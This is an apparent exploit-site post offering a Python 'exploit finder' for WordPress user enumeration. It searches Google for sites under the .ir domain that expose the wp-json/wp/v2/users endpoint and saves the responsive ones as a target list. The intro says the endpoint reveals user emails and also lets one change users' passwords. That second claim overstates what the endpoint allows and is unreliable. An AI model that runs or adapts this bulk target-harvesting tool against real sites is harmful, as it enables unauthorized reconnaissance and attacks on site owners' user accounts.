EXPLOIT FINDER WordPress User Enumeration

[ROOT]

With this code, you can search Google and isolate the sites that have this security issue and test which ones have the WP JSON/WP/V2/Users API endpoint, which allows you to retrieve user data such as user ID, username, email address, and other user profile information. You can also use the API to update user data, such as changing a user's password or updating their profile information.





#####################################################

# #

# CODE BY E1.Coders #

# EXPLOIT FINDER WordPress User Enumeration #

# #

#####################################################

import requests

from googlesearch import search

import time



def find_sites(query, num_results):

"""Search Google for the specified query and return a list of URLs."""

urls = []

for url in search(query, num_results=num_results):

urls.append(url)

return urls



def check_url_status(url):

"""Check the HTTP status of a given URL."""

try:

response = requests.get(url)

return response.status_code

except requests.RequestException:

return None



def main():

# Step 1: Search for sites with the specific query

query = 'site:.ir wp-json/wp/v2/users'

num_results = 100 # Adjust the number of results as needed

found_sites = find_sites(query, num_results)



# Step 2: Save found sites to a file (753.txt)

with open('753.txt', 'w') as f:

for site in found_sites:

f.write(f"{site}\n")



# Step 3: Check each site and save those with a 200 status code to another file (963.txt)

with open('963.txt', 'w') as f:

for site in found_sites:

status_code = check_url_status(site)

if status_code == 200:

f.write(f"{site}\n")

time.sleep(1) # To avoid overwhelming the server



if __name__ == "__main__":

main()